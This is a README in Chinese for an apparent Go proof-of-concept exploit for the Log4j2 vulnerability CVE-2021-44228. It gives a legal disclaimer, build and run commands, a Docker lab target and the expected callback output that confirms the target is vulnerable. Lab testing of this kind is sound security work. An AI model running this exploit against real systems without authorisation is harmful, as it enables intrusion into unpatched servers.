⚠️ 免责声明:
本工具仅供教育目的、安全研究和受控测试环境使用。
未经明确许可对系统使用本工具属于违法行为,一切责任由使用者自行承担。
该项目包含针对 Apache Log4j2(CVE-2021-44228) 漏洞的简单 概念验证(PoC) 利用代码。
该 PoC 会向目标发送带有 JNDI LDAP 负载的特制 HTTP 请求头。
如果目标存在漏洞,它将向指定的 LHOST 地址发送回调。
go build -o exploit exploit.go
sudo ./exploit -r "http://<TARGET_URL>/?search=test" -l <LOCAL_IP>
-r → 目标 URL(存在漏洞的应用程序端点)-l → 你的回调监听 IP 地址(运行该 PoC 的机器)使用随附的 Docker 漏洞应用程序:
# Run vulnerable app
docker run --rm --network host ghcr.io/christophetd/log4shell-vulnerable-app
# Run exploit
sudo ./exploit -r "http://127.0.0.1:8080/?search=test" -l 127.0.0.1
预期输出:
[*] Callback started on 1389
[*] Payload sent! HTTP Status: 200
[*] Callback from 127.0.0.1:56789, target is VULNERABLE